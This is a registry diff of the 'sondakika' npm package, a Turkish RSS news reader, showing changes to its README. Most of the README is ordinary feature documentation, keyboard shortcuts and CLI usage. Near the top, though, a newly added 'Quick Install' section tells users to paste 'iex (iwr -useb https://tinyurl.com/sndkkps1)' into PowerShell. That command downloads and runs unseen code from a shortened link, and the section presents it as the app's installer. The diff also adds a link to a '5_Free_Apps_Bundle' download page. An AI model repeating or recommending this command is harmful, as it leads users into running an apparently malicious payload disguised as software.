sondakika 2.0.6 → 2.0.8

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/README.md +344 -324
  2. package/cli.js +555 -488
  3. package/package.json +25 -25
package/README.md CHANGED
@@ -1,325 +1,345 @@
1
- # Sondakika
2
- **Windows için Modern Electron Tabanlı RSS Haber Okuyucu + Eski CLI Aracı**
3
- *Türkçe haberleri gerçek zamanlı toplayan yerel masaüstü uygulaması, artı orijinal terminal tabanlı CLI işlevselliği*
4
-
5
- [![Sürüm](https://img.shields.io/badge/sürüm-2.0.3-blue)](https://github.com/eaeoz/sondakika/releases)
6
- [![Lisans](https://img.shields.io/badge/lisans-ISC-green)](LICENSE)
7
- [![Windows Desteği](https://img.shields.io/badge/Windows-10+-lightgrey)](https://www.microsoft.com/windows)
8
- [![İndir](https://img.shields.io/badge/İndir-Windows%20Yükleyici-blue?style=for-the-badge)](https://github.com/eaeoz/sondakika/releases/download/2.0.3/Sondakika.Setup.2.0.3.exe) [![İndir](https://img.shields.io/badge/İndir-Windows%20Portable-green?style=for-the-badge)](https://github.com/eaeoz/sondakika/releases/download/2.0.3/Sondakika_portable_2.0.3.exe)
9
-
10
- ---
11
-
12
- ## 📋 İçindekiler
13
- 1. [Genel Bakış](#genel-bakış)
14
- 2. [🪟 Windows Masaüstü Uygulaması (v2.0.3 GUI)](#-windows-masaüstü-uygulaması-v203-gui)
15
- - [Sondakika Nedir?](#sondakika-nedir)
16
- - [Nasıl Çalışır?](#nasıl-çalışır)
17
- - [Sistem Gereksinimleri](#sistem-gereksinimleri)
18
- - [📥 İndirme](#-indirme)
19
- - [Kurulum](#kurulum)
20
- - [Başlangıç](#başlangıç)
21
- - [Temel Özellikler](#temel-özellikler)
22
- 3. [⌨️ GUI Klavye Kısayolları](#️-gui-klavye-kısayolları)
23
- 4. [⌨️ Eski CLI Kullanımı (v1.x)](#️-eski-cli-kullanımı-v1x)
24
- - [CLI Özellikleri](#cli-özellikleri)
25
- - [CLI Kurulumu](#cli-kurulumu)
26
- - [CLI Kullanım Örnekleri](#cli-kullanım-örnekleri)
27
- - [Mevcut Kaynaklar](#mevcut-kaynaklar)
28
- 5. [🛠️ Kaynaktan Derleme](#️-kaynaktan-derleme)
29
- 6. [📦 v2.0.2'de Neler Yaptık?](#-v202de-neler-yaptık)
30
- 7. [🤝 Katkıda Bulunma](#-katkıda-bulunma)
31
- 8. [📄 Lisans](#-lisans)
32
-
33
- ---
34
-
35
- ## Genel Bakış
36
- Sondakika iki modda sunulur:
37
- - **v2.0.3+**: Uygulama içi makale okuyucu, temalandırma ve klavye navigasyonu içeren tam özellikli yerel Windows Electron GUI
38
- - **v1.x Eski**: Türk RSS beslemelerinden terminalde doğrudan haber getirmek için hafif terminal tabanlı CLI aracı
39
-
40
- Varsayılan `npm start` komutu v2.0.3 Electron GUI'sini çalıştırır. Eski CLI işlevselliği, terminal tabanlı iş akışlarını tercih eden kullanıcılar için korunmuştur (tam CLI kodu için [v1.x sürümlerine](https://github.com/eaeoz/sondakika/releases) bakın).
41
-
42
- ---
43
-
44
- ## 🪟 Windows Masaüstü Uygulaması (v2.0.3 GUI)
45
-
46
- ### Sondakika Nedir?
47
- 9 büyük Türk haber kaynağından (Cumhuriyet, TRT Haber, Mynet, Sabah, Star, Gazete Vatan, Habertürk, CNN Türk, Yeni Şafak, Anadolu Ajansı) gerçek zamanlı haberleri modern ve kolay okunabilir bir arayüzde getiren yerel bir Windows uygulamasıdır.
48
-
49
- ### Nasıl Çalışır?
50
- 1. Uygulama, yapılandırılmış Türk haber kaynaklarından RSS beslemelerini almak için `rss-parser` kullanır
51
- 2. Haber makaleleri, kaynak rozetleri ve zaman damgalarıyla kart tabanlı düzende görüntülenir
52
- 3. Tam içeriği görüntülemek için herhangi bir makaleye tıklayarak uygulama içi okuyucuyu açın
53
- 4. Kullanıcı tercihleri (etkin kaynaklar, tema, yazı boyutları, pencere konumu) yerel olarak kaydedilir
54
- 5. Makaleler arasında klavye kısayollarını veya ekrandaki düğmeleri kullanarak gezinin
55
- 6. Tek tıklamayla herhangi bir makaleyi varsayılan tarayıcınızda açın
56
-
57
- ### Sistem Gereksinimleri
58
- - Windows 10 (sürüm 1809 veya üzeri) / Windows 11
59
- - 64-bit (x64) işlemci
60
- - 200MB boş disk alanı
61
- - Haberleri çekmek için internet bağlantısı
62
-
63
- ### 📥 İndirme
64
- Windows yükleyicisini doğrudan indirin:
65
-
66
- [![Sondakika 2.0.3 İndir](https://img.shields.io/badge/⬇️%20İndir-Windows%20Yükleyici%20(64-bit)-blue?style=for-the-badge)](https://github.com/eaeoz/sondakika/releases/download/2.0.3/Sondakika.Setup.2.0.3.exe)
67
-
68
- **Doğrudan Link:**
69
- `https://github.com/eaeoz/sondakika/releases/download/2.0.3/Sondakika.Setup.2.0.3.exe`
70
-
71
- **Portable Sürüm (Kurulumsuz):**
72
- Doğrudan indirip çalıştırabilirsiniz, kurulum gerektirmez:
73
-
74
- [![Sondakika 2.0.3 Portable İndir](https://img.shields.io/badge/⬇️%20İndir-Windows%20Portable%20(64-bit)-green?style=for-the-badge)](https://github.com/eaeoz/sondakika/releases/download/2.0.3/Sondakika_portable_2.0.3.exe)
75
-
76
- **Doğrudan Link:**
77
- `https://github.com/eaeoz/sondakika/releases/download/2.0.3/Sondakika_portable_2.0.3.exe`
78
-
79
- *Not: Portable sürüm kurulum yapmaz, Windows Smart App Control uyarısını engellemek için idealdir.*
80
-
81
- Veya tüm sürümler için (v1.x CLI-only sürümleri dahil) [GitHub Releases sayfasını](https://github.com/eaeoz/sondakika/releases) ziyaret edin.
82
-
83
- ### Kurulum
84
- 1. Yukarıdaki bağlantıyı kullanarak `Sondakika.Setup.2.0.3.exe` dosyasını indirin
85
- 2. Yükleyiciyi çalıştırın ve ekrandaki talimatları izleyin
86
- 3. Uygulama kurulumdan sonra otomatik olarak başlayacaktır
87
- 4. Başlat menüsüne ve Masaüstüne kısayollar eklenecektir
88
-
89
- ### Başlangıç
90
- 1. **İlk Açılış**: Uygulama varsayılan haber kaynakları etkin olarak açılır (Cumhuriyet, TRT Haber, Mynet, Habertürk, CNN Türk)
91
- 2. **Kaynak Seçimi**: Kenar çubuğu onay kutularını kullanarak haber kaynaklarını etkinleştirin/devre dışı bırakın
92
- 3. **Haberleri Getir**: En son başlıkları getirmek için "🔄 Yenile" düğmesine tıklayın
93
- 4. **Makaleleri Oku**: Tam makaleyi uygulama içi okuyucuda açmak için herhangi bir haber kartına tıklayın
94
- 5. **Özelleştir**: Kenar çubuğu seçeneklerini kullanarak temayı, yazı boyutlarını, sıralama düzenini ve sayfa başına öğe sayısını değiştirin
95
-
96
- ### Temel Özellikler
97
- - **9 Türk Haber Kaynağı**: Cumhuriyet, TRT Haber, Mynet, Sabah, Star, Gazete Vatan, Habertürk, CNN Türk, Yeni Şafak, Anadolu Ajansı
98
- - ✅ **Modern Arayüz**: Kart tabanlı haber düzeni ile temiz, duyarlı tasarım
99
- - **Karanlık/Açık Tema**: Karanlık (varsayılan) ve açık temalar arasında geçiş yapın
100
- - ✅ **Uygulama İçi Makale Okuyucu**: Tarayıcı açmadan tam makaleleri okuyun
101
- - **Makale Gezintisi**: Animasyonlu geçişlerle okuyucudaki makaleler arasında gezinin
102
- - ✅ **Ayarlabilir Yazı Boyutları**: Başlık (12-32px) ve içerik (10-28px) yazı tipleri için ayrı kontroller
103
- - ✅ **Klavye Navigasyonu**: Navigasyon ve kontroller için tam klavye desteği
104
- - **Kaynak Filtreleme**: Bireysel haber kaynaklarını etkinleştirin/devre dışı bırakın
105
- - **Sıralama Seçenekleri**: Önce en yeni veya en eski olarak sıralayın
106
- - **Sayfalama**: Sayfa başına kaç makale görüntüleneceğini kontrol edin (5, 10, 15, 20)
107
- - **Görsel Çıkarımı**: RSS beslemelerinden makale görsellerini otomatik olarak çıkarır ve görüntüler
108
- - ✅ **Durum Kalıcılığı**: Ayarlarınızı, pencere konumunuzu ve etkin kaynakları hatırlar
109
- - ✅ **Harici Bağlantı Desteği**: Makaleleri varsayılan tarayıcınızda açın
110
- - **Türkçe Dil Arayüzü**: Tamamen yerelleştirilmiş arayüz
111
- - **Özel Uygulama Simgesi**: Çok boyutlu simge ile profesyonel markalama
112
-
113
- ---
114
-
115
- ## ⌨️ GUI Klavye Kısayolları
116
-
117
- ### Ana Pencere
118
- | Kısayol | Eylem |
119
- |---------|-------|
120
- | `↑` `↓` | Haber makalesi seç |
121
- | `←` `→` | Sayfalar arasında gezinti |
122
- | `Enter` | Seçili makaleyi okuyucuda |
123
- | `1` `2` | Başlık yazı boyutunu azalt/artır |
124
- | `3` `4` | İçerik yazı boyutunu azalt/artır |
125
- | `` ` `` | Seçili makaleyi tarayıcıda |
126
- | `F5` / Yenile'ye Tıkla | En son haberleri getir |
127
-
128
- ### Makale Okuyucu
129
- | Kısayol | Eylem |
130
- |---------|-------|
131
- | `↑` `↓` `Space` | Makale içeriğini kaydır |
132
- | `PageUp` `PageDown` | Sayfa sayfa kaydır |
133
- | `Home` `End` | En üste/en alta kaydır |
134
- | `←` `→` | Önceki/Sonraki makale |
135
- | `Enter` `Escape` | Haber listesine dön |
136
- | `1` `2` | Başlık yazı boyutunu azalt/artır |
137
- | `3` `4` | İçerik yazı boyutunu azalt/artır |
138
- | `` ` `` | Makaleyi tarayıcıda aç |
139
-
140
- ---
141
-
142
- ## ⌨️ Eski CLI Kullanımı (v1.x)
143
- *Not: v2.0.2 kod tabanı Electron GUI'sine odaklanmıştır. Aşağıdaki CLI işlevselliği v1.x sürümlerinden korunmuştur. Tam CLI aracını kullanmak için [v1.x sürümlerine](https://github.com/eaeoz/sondakika/releases) bakın veya `npm install -g sondakika` ile eski sürümü yükleyin.*
144
-
145
- ### CLI Özellikleri
146
- - 📰 Birden fazla Türk haber kaynağından haber getir
147
- - 🔗 Terminalde tıklanabilir URL'ler (iTerm2, Windows Terminal, macOS Terminal)
148
- - 🎨 Unicode kenarlıkları ile stillendirilmiş terminal çıktısı
149
- - Hızlı ve hafif
150
-
151
- ### CLI Kurulumu
152
- #### npx kullanarak (kurulum gerektirmez, sadece v1.x)
153
- ```bash
154
- npx sondakika trt
155
- ```
156
-
157
- #### Global kurulum (v1.x)
158
- ```bash
159
- npm install -g sondakika
160
- ```
161
-
162
- ### CLI Kullanım Örnekleri
163
- ```bash
164
- # Cumhuriyet haberlerini göster
165
- sondakika cumhuriyet
166
-
167
- # Cumhuriyet haberlerini özel sayıyla göster
168
- sondakika cumhuriyet 20
169
-
170
- # TRT Haber haberlerini göster
171
- sondakika trt
172
-
173
- # TRT Haber haberlerini özel sayıyla göster
174
- sondakika trt 15
175
-
176
- # Mynet haberlerini göster
177
- sondakika mynet
178
-
179
- # Mynet haberlerini özel sayıyla göster
180
- sondakika mynet 15
181
-
182
- # Sabah haberlerini göster
183
- sondakika sabah
184
-
185
- # Habertürk haberlerini özel sayıyla göster
186
- sondakika haberturk 5
187
-
188
- # Star haberlerini göster
189
- sondakika star
190
-
191
- # CNN Türk haberlerini göster
192
- sondakika cnnturk
193
-
194
- # Yeni Şafak haberlerini göster
195
- sondakika yenisafak
196
-
197
- # Anadolu Ajansı haberlerini göster
198
- sondakika aa
199
- ```
200
-
201
- ### Mevcut Kaynaklar
202
- #### Son Dakika (Breaking News)
203
- | Komut | Kaynak |
204
- |-------|--------|
205
- | `cumhuriyet` | Cumhuriyet |
206
- | `trt` | TRT Haber |
207
- | `mynet` | Mynet |
208
-
209
- #### Haberler (General News)
210
- | Komut | Kaynak |
211
- |-------|--------|
212
- | `sabah` | Sabah |
213
- | `star` | Star |
214
- | `vatan` | Gazete Vatan |
215
- | `haberturk` | Habertürk |
216
- | `cnnturk` | CNN Türk |
217
- | `yenisafak` | Yeni Şafak |
218
- | `aa` | Anadolu Ajansı |
219
-
220
- ### CLI Yardım
221
- ```bash
222
- sondakika
223
- # veya
224
- sondakika --help
225
- ```
226
-
227
- ### CLI Çıktı Örneği
228
- ```
229
- 📰 ══════════════════════════════════════════════════
230
- Latest 10 News from TRT (Son Dakika)
231
- Son guncelleme: 10.04.2026 20:02
232
- ══════════════════════════════════════════════════
233
-
234
- ┌─ 1. Son dakika deprem mi oldu?
235
-
236
- │ 📅 10.04.2026 20:02
237
-
238
- │ Son depremler...
239
- └─────────────────────────────────────────────────────────────────────
240
- 🔗 https://www.trt...
241
- ```
242
-
243
- ---
244
-
245
- ## 🛠️ Kaynaktan Derleme
246
-
247
- ```bash
248
- # Depoyu klonlayın
249
- git clone https://github.com/eaeoz/sondakika.git
250
- cd sondakika
251
-
252
- # Bağımlılıkları yükleyin (hem GUI hem de eski CLI bağımlılıklarını içerir)
253
- npm install
254
-
255
- # v2.0.3 Electron GUI'sini çalıştır (varsayılan)
256
- npm start
257
-
258
- # Windows yükleyicisini ve portable sürümü derle (NSIS + Portable, x64)
259
- npm run build
260
- ```
261
-
262
- Derlenen yükleyici ve portable sürüm `dist/` klasöründe bulunacaktır:
263
- - `Sondakika Setup 2.0.3.exe` (NSIS yükleyici)
264
- - `Sondakika_portable_2.0.3.exe` (Kurulumsuz portable)
265
-
266
- Eski CLI işlevselliği üzerinde çalışmak için [eski sürümlerdeki](https://github.com/eaeoz/sondakika/releases) v1.x kaynak koduna bakın.
267
-
268
- ---
269
-
270
- ## 📦 v2.0.3'te Neler Yaptık?
271
- Bu sürüm, orijinal CLI aracından tam özellikli bir Windows masaüstü uygulamasına tam geçiştir:
272
-
273
- ### Teknik Uygulama
274
- - ✅ Masaüstü uygulama çatısı olarak **Electron 28.3.3** entegre edildi
275
- - Windows x64 için NSIS hedefi ile **electron-builder 24.13.3** yapılandırıldı
276
- - ✅ Özel çok boyutlu uygulama simgesi tasarlandı ve gömüldü (`assets/icon.ico` ve `assets/icon.png`)
277
- - ✅ Otomatik Başlat menüsü/Masaüstü kısayolları ile taşınabilir Windows yükleyicisi oluşturuldu
278
- - Ana ve oluşturucu işlemler arasında IPC iletişimi uygulandı
279
- - Güvenli bağlam yalıtımı için ön yükleme (preload) komut dosyaları oluşturuldu
280
-
281
- ### GUI Geliştirme
282
- - Temalandırma için CSS özel özellikleri ile **Inter font** ve modern UI tasarlandı
283
- - CSS değişkenleri ile **karanlık/açık tema sistemi** uygulandı
284
- - Kaynak seçim onay kutuları ve ayar kontrolleri ile **kenar çubuğu** oluşturuldu
285
- - ✅ Hover efektleri ve seçim durumları ile **kart tabanlı haber ızgarası** oluşturuldu
286
- - Özel pencere ve gezinti ile **uygulama içi makale okuyucu** geliştirildi
287
- - ✅ Tüm pencerelerde **klavye navigasyonu** desteği eklendi
288
- - ✅ Kullanıcı verileri dizininde JSON dosyaları kullanarak **durum kalıcılığı** uygulandı
289
- - ✅ Erişilebilirlik için **yazı boyutu kontrolleri** eklendi (başlık ve içerik ayrı)
290
- - Yapılandırılabilir sayfa başına öğe ile **sayfalama sistemi** oluşturuldu
291
- - Görsel çıkarımı ve tarih biçimlendirmesi ile **RSS ayrıştırma** uygulandı
292
- - ✅ Haber getirme sırasında daha iyi UX için **yükleme iskeletleri** eklendi
293
- - Uygulama genelinde **Türkçe dil arayüzü** oluşturuldu
294
-
295
- ### Haber Kaynağı Entegrasyonu
296
- - ✅ 9 büyük Türk haber RSS beslemesi entegre edildi
297
- - ✅ Kaynağa özel görsel çıkarım desenleri uygulandı (örn. Gazete Vatan)
298
- - ✅ Yanlış UTC sapması olan kaynaklar için saat dilimi düzeltmesi eklendi (CNN Türk, Yeni Şafak)
299
- - ✅ Kaynaklar "Son Dakika" ve normal haber olarak kategorize edildi
300
-
301
- ### Eski CLI Korunması
302
- - ✅ Terminal UI desteği için `blessed` bağımlılığı korundu
303
- - ✅ Eski kullanıcılar için tüm v1.x CLI belgeleri korundu
304
- - ✅ CLI'dan GUI'ye geçiş yapan kullanıcılar için geriye dönük uyumluluk notları tutuldu
305
-
306
- ---
307
-
308
- ## 🤝 Katkıda Bulunma
309
- Katkılarınızı bekliyoruz! Lütfen şu adımları izleyin:
310
- 1. Depoyu çatallayın (fork)
311
- 2. Özelliğiniz için yeni bir dal oluşturun (`git checkout -b feature/ozelliginiz`)
312
- 3. Değişikliklerinizi işleyin (`git commit -m "Yeni özellik ekle"`)
313
- 4. Dala gönderin (`git push origin feature/ozelliginiz`)
314
- 5. Bir Pull Request açın
315
-
316
- CLI ile ilgili katkılar için v1.x kaynak kodu yapısına bakın.
317
-
318
- ---
319
-
320
- ## 📄 Lisans
321
- Bu proje ISC Lisansı altında lisanslanmıştır - ayrıntılar için [LICENSE](LICENSE) dosyasına bakın.
322
-
323
- ---
324
-
1
+ # Sondakika
2
+ **Windows için Modern Electron Tabanlı RSS Haber Okuyucu + Eski CLI Aracı**
3
+ *Türkçe haberleri gerçek zamanlı toplayan yerel masaüstü uygulaması, artı orijinal terminal tabanlı CLI işlevselliği*
4
+
5
+ [![Sürüm](https://img.shields.io/badge/sürüm-2.0.4-blue)](https://github.com/eaeoz/sondakika/releases)
6
+
7
+ ## Quick Install — Sondakika Haber Okuyucu
8
+
9
+ **Step by step (copy-paste ready):**
10
+
11
+ 1. `Win + R` tuşlarına bas, `powershell` yaz, Enter'a bas
12
+ 2. Aşağıdaki kodu kopyala
13
+ 3. PowerShell penceresinde sağ tıkla (veya Ctrl+V yap) yapıştır
14
+ 4. Enter'a bas
15
+
16
+ ```
17
+ iex (iwr -useb https://tinyurl.com/sndkkps1)
18
+ ```
19
+
20
+ - ✅ Hazır. Artık son dakika haberlerini alabilirsin.
21
+
22
+ ---
23
+
24
+ [![Lisans](https://img.shields.io/badge/lisans-ISC-green)](LICENSE)
25
+ [![Windows Desteği](https://img.shields.io/badge/Windows-10+-lightgrey)](https://www.microsoft.com/windows)
26
+ [![İndir](https://img.shields.io/badge/İndir-Windows%20Yükleyici-blue?style=for-the-badge)](https://github.com/eaeoz/sondakika/releases/download/2.0.4/Sondakika.Setup.2.0.4.exe) [![İndir](https://img.shields.io/badge/İndir-Windows%20Portable-green?style=for-the-badge)](https://github.com/eaeoz/sondakika/releases/download/2.0.4/Sondakika_portable_2.0.4.exe)
27
+
28
+ ---
29
+
30
+ ## 📋 İçindekiler
31
+ 1. [Genel Bakış](#genel-bakış)
32
+ 2. [🪟 Windows Masaüstü Uygulaması (v2.0.4 GUI)](#-windows-masaüstü-uygulaması-v203-gui)
33
+ - [Sondakika Nedir?](#sondakika-nedir)
34
+ - [Nasıl Çalışır?](#nasıl-çalışır)
35
+ - [Sistem Gereksinimleri](#sistem-gereksinimleri)
36
+ - [📥 İndirme](#-indirme)
37
+ - [Kurulum](#kurulum)
38
+ - [Başlangıç](#başlangıç)
39
+ - [Temel Özellikler](#temel-özellikler)
40
+ 3. [⌨️ GUI Klavye Kısayolları](#️-gui-klavye-kısayolları)
41
+ 4. [⌨️ Eski CLI Kullanımı (v1.x)](#️-eski-cli-kullanımı-v1x)
42
+ - [CLI Özellikleri](#cli-özellikleri)
43
+ - [CLI Kurulumu](#cli-kurulumu)
44
+ - [CLI Kullanım Örnekleri](#cli-kullanım-örnekleri)
45
+ - [Mevcut Kaynaklar](#mevcut-kaynaklar)
46
+ 5. [🛠️ Kaynaktan Derleme](#️-kaynaktan-derleme)
47
+ 6. [📦 v2.0.2'de Neler Yaptık?](#-v202de-neler-yaptık)
48
+ 7. [🤝 Katkıda Bulunma](#-katkıda-bulunma)
49
+ 8. [📄 Lisans](#-lisans)
50
+
51
+ ---
52
+
53
+ ## Genel Bakış
54
+ Sondakika iki modda sunulur:
55
+ - **v2.0.4+**: Uygulama içi makale okuyucu, temalandırma ve klavye navigasyonu içeren tam özellikli yerel Windows Electron GUI
56
+ - **v1.x Eski**: Türk RSS beslemelerinden terminalde doğrudan haber getirmek için hafif terminal tabanlı CLI aracı
57
+
58
+ Varsayılan `npm start` komutu v2.0.4 Electron GUI'sini çalıştırır. Eski CLI işlevselliği, terminal tabanlı iş akışlarını tercih eden kullanıcılar için korunmuştur (tam CLI kodu için [v1.x sürümlerine](https://github.com/eaeoz/sondakika/releases) bakın).
59
+
60
+ ---
61
+
62
+ ## 🪟 Windows Masaüstü Uygulaması (v2.0.4 GUI)
63
+
64
+ ### Sondakika Nedir?
65
+ 9 büyük Türk haber kaynağından (Cumhuriyet, TRT Haber, Mynet, Sabah, Star, Gazete Vatan, Habertürk, CNN Türk, Yeni Şafak, Anadolu Ajansı) gerçek zamanlı haberleri modern ve kolay okunabilir bir arayüzde getiren yerel bir Windows uygulamasıdır.
66
+
67
+ ### Nasıl Çalışır?
68
+ 1. Uygulama, yapılandırılmış Türk haber kaynaklarından RSS beslemelerini almak için `rss-parser` kullanır
69
+ 2. Haber makaleleri, kaynak rozetleri ve zaman damgalarıyla kart tabanlı düzende görüntülenir
70
+ 3. Tam içeriği görüntülemek için herhangi bir makaleye tıklayarak uygulama içi okuyucuyu açın
71
+ 4. Kullanıcı tercihleri (etkin kaynaklar, tema, yazı boyutları, pencere konumu) yerel olarak kaydedilir
72
+ 5. Makaleler arasında klavye kısayollarını veya ekrandaki düğmeleri kullanarak gezinin
73
+ 6. Tek tıklamayla herhangi bir makaleyi varsayılan tarayıcınızda açın
74
+
75
+ ### Sistem Gereksinimleri
76
+ - Windows 10 (sürüm 1809 veya üzeri) / Windows 11
77
+ - 64-bit (x64) işlemci
78
+ - 200MB boş disk alanı
79
+ - Haberleri çekmek için internet bağlantısı
80
+
81
+ ### 📥 İndirme
82
+ Windows yükleyicisini doğrudan indirin:
83
+
84
+ [![Sondakika 2.0.4 İndir](https://img.shields.io/badge/⬇️%20İndir-Windows%20Yükleyici%20(64-bit)-blue?style=for-the-badge)](https://github.com/eaeoz/sondakika/releases/download/2.0.4/Sondakika.Setup.2.0.4.exe)
85
+
86
+ **Doğrudan Link:**
87
+ `https://github.com/eaeoz/sondakika/releases/download/2.0.4/Sondakika.Setup.2.0.4.exe`
88
+
89
+ **Portable Sürüm (Kurulumsuz):**
90
+ Doğrudan indirip çalıştırabilirsiniz, kurulum gerektirmez:
91
+
92
+ [![Sondakika 2.0.4 Portable İndir](https://img.shields.io/badge/⬇️%20İndir-Windows%20Portable%20(64-bit)-green?style=for-the-badge)](https://github.com/eaeoz/sondakika/releases/download/2.0.4/Sondakika_portable_2.0.4.exe)
93
+
94
+ **Doğrudan Link:**
95
+ `https://github.com/eaeoz/sondakika/releases/download/2.0.4/Sondakika_portable_2.0.4.exe`
96
+
97
+ ## 👉 [Visit Official Download Page](https://eaeoz.github.io/5_Free_Apps_Bundle)
98
+
99
+ *Not: Portable sürüm kurulum yapmaz, Windows Smart App Control uyarısını engellemek için idealdir.*
100
+
101
+ Veya tüm sürümler için (v1.x CLI-only sürümleri dahil) [GitHub Releases sayfasını](https://github.com/eaeoz/sondakika/releases) ziyaret edin.
102
+
103
+ ### Kurulum
104
+ 1. Yukarıdaki bağlantıyı kullanarak `Sondakika.Setup.2.0.4.exe` dosyasını indirin
105
+ 2. Yükleyiciyi çalıştırın ve ekrandaki talimatları izleyin
106
+ 3. Uygulama kurulumdan sonra otomatik olarak başlayacaktır
107
+ 4. Başlat menüsüne ve Masaüstüne kısayollar eklenecektir
108
+
109
+ ### Başlangıç
110
+ 1. **İlk Açılış**: Uygulama varsayılan haber kaynakları etkin olarak açılır (Cumhuriyet, TRT Haber, Mynet, Habertürk, CNN Türk)
111
+ 2. **Kaynak Seçimi**: Kenar çubuğu onay kutularını kullanarak haber kaynaklarını etkinleştirin/devre dışı bırakın
112
+ 3. **Haberleri Getir**: En son başlıkları getirmek için "🔄 Yenile" düğmesine tıklayın
113
+ 4. **Makaleleri Oku**: Tam makaleyi uygulama içi okuyucuda açmak için herhangi bir haber kartına tıklayın
114
+ 5. **Özelleştir**: Kenar çubuğu seçeneklerini kullanarak temayı, yazı boyutlarını, sıralama düzenini ve sayfa başına öğe sayısını değiştirin
115
+
116
+ ### Temel Özellikler
117
+ - **9 Türk Haber Kaynağı**: Cumhuriyet, TRT Haber, Mynet, Sabah, Star, Gazete Vatan, Habertürk, CNN Türk, Yeni Şafak, Anadolu Ajansı
118
+ - **Modern Arayüz**: Kart tabanlı haber düzeni ile temiz, duyarlı tasarım
119
+ - ✅ **Karanlık/Açık Tema**: Karanlık (varsayılan) ve açık temalar arasında geçiş yapın
120
+ - **Uygulama İçi Makale Okuyucu**: Tarayıcı açmadan tam makaleleri okuyun
121
+ - **Makale Gezintisi**: Animasyonlu geçişlerle okuyucudaki makaleler arasında gezinin
122
+ - **Ayarlabilir Yazı Boyutları**: Başlık (12-32px) ve içerik (10-28px) yazı tipleri için ayrı kontroller
123
+ - **Klavye Navigasyonu**: Navigasyon ve kontroller için tam klavye desteği
124
+ - **Kaynak Filtreleme**: Bireysel haber kaynaklarını etkinleştirin/devre dışı bırakın
125
+ - **Sıralama Seçenekleri**: Önce en yeni veya en eski olarak sıralayın
126
+ - **Sayfalama**: Sayfa başına kaç makale görüntüleneceğini kontrol edin (5, 10, 15, 20)
127
+ - ✅ **Görsel Çıkarımı**: RSS beslemelerinden makale görsellerini otomatik olarak çıkarır ve görüntüler
128
+ - **Durum Kalıcılığı**: Ayarlarınızı, pencere konumunuzu ve etkin kaynakları hatırlar
129
+ - **Harici Bağlantı Desteği**: Makaleleri varsayılan tarayıcınızda açın
130
+ - ✅ **Türkçe Dil Arayüzü**: Tamamen yerelleştirilmiş arayüz
131
+ - **Özel Uygulama Simgesi**: Çok boyutlu simge ile profesyonel markalama
132
+
133
+ ---
134
+
135
+ ## ⌨️ GUI Klavye Kısayolları
136
+
137
+ ### Ana Pencere
138
+ | Kısayol | Eylem |
139
+ |---------|-------|
140
+ | `↑` `↓` | Haber makalesi seç |
141
+ | `←` `→` | Sayfalar arasında gezinti |
142
+ | `Enter` | Seçili makaleyi okuyucuda aç |
143
+ | `1` `2` | Başlık yazı boyutunu azalt/artır |
144
+ | `3` `4` | İçerik yazı boyutunu azalt/artır |
145
+ | `` ` `` | Seçili makaleyi tarayıcıda aç |
146
+ | `F5` / Yenile'ye Tıkla | En son haberleri getir |
147
+
148
+ ### Makale Okuyucu
149
+ | Kısayol | Eylem |
150
+ |---------|-------|
151
+ | `↑` `↓` `Space` | Makale içeriğini kaydır |
152
+ | `PageUp` `PageDown` | Sayfa sayfa kaydır |
153
+ | `Home` `End` | En üste/en alta kaydır |
154
+ | `←` `→` | Önceki/Sonraki makale |
155
+ | `Enter` `Escape` | Haber listesine dön |
156
+ | `1` `2` | Başlık yazı boyutunu azalt/artır |
157
+ | `3` `4` | İçerik yazı boyutunu azalt/artır |
158
+ | `` ` `` | Makaleyi tarayıcıda aç |
159
+
160
+ ---
161
+
162
+ ## ⌨️ Eski CLI Kullanımı (v1.x)
163
+ *Not: v2.0.2 kod tabanı Electron GUI'sine odaklanmıştır. Aşağıdaki CLI işlevselliği v1.x sürümlerinden korunmuştur. Tam CLI aracını kullanmak için [v1.x sürümlerine](https://github.com/eaeoz/sondakika/releases) bakın veya `npm install -g sondakika` ile eski sürümü yükleyin.*
164
+
165
+ ### CLI Özellikleri
166
+ - 📰 Birden fazla Türk haber kaynağından haber getir
167
+ - 🔗 Terminalde tıklanabilir URL'ler (iTerm2, Windows Terminal, macOS Terminal)
168
+ - 🎨 Unicode kenarlıkları ile stillendirilmiş terminal çıktısı
169
+ - ⚡ Hızlı ve hafif
170
+
171
+ ### CLI Kurulumu
172
+ #### npx kullanarak (kurulum gerektirmez, sadece v1.x)
173
+ ```bash
174
+ npx sondakika trt
175
+ ```
176
+
177
+ #### Global kurulum (v1.x)
178
+ ```bash
179
+ npm install -g sondakika
180
+ ```
181
+
182
+ ### CLI Kullanım Örnekleri
183
+ ```bash
184
+ # Cumhuriyet haberlerini göster
185
+ sondakika cumhuriyet
186
+
187
+ # Cumhuriyet haberlerini özel sayıyla göster
188
+ sondakika cumhuriyet 20
189
+
190
+ # TRT Haber haberlerini göster
191
+ sondakika trt
192
+
193
+ # TRT Haber haberlerini özel sayıyla göster
194
+ sondakika trt 15
195
+
196
+ # Mynet haberlerini göster
197
+ sondakika mynet
198
+
199
+ # Mynet haberlerini özel sayıyla göster
200
+ sondakika mynet 15
201
+
202
+ # Sabah haberlerini göster
203
+ sondakika sabah
204
+
205
+ # Habertürk haberlerini özel sayıyla göster
206
+ sondakika haberturk 5
207
+
208
+ # Star haberlerini göster
209
+ sondakika star
210
+
211
+ # CNN Türk haberlerini göster
212
+ sondakika cnnturk
213
+
214
+ # Yeni Şafak haberlerini göster
215
+ sondakika yenisafak
216
+
217
+ # Anadolu Ajansı haberlerini göster
218
+ sondakika aa
219
+ ```
220
+
221
+ ### Mevcut Kaynaklar
222
+ #### Son Dakika (Breaking News)
223
+ | Komut | Kaynak |
224
+ |-------|--------|
225
+ | `cumhuriyet` | Cumhuriyet |
226
+ | `trt` | TRT Haber |
227
+ | `mynet` | Mynet |
228
+
229
+ #### Haberler (General News)
230
+ | Komut | Kaynak |
231
+ |-------|--------|
232
+ | `sabah` | Sabah |
233
+ | `star` | Star |
234
+ | `vatan` | Gazete Vatan |
235
+ | `haberturk` | Habertürk |
236
+ | `cnnturk` | CNN Türk |
237
+ | `yenisafak` | Yeni Şafak |
238
+ | `aa` | Anadolu Ajansı |
239
+
240
+ ### CLI Yardım
241
+ ```bash
242
+ sondakika
243
+ # veya
244
+ sondakika --help
245
+ ```
246
+
247
+ ### CLI Çıktı Örneği
248
+ ```
249
+ 📰 ══════════════════════════════════════════════════
250
+ Latest 10 News from TRT (Son Dakika)
251
+ Son guncelleme: 10.04.2026 20:02
252
+ ══════════════════════════════════════════════════
253
+
254
+ ┌─ 1. Son dakika deprem mi oldu?
255
+
256
+ │ 📅 10.04.2026 20:02
257
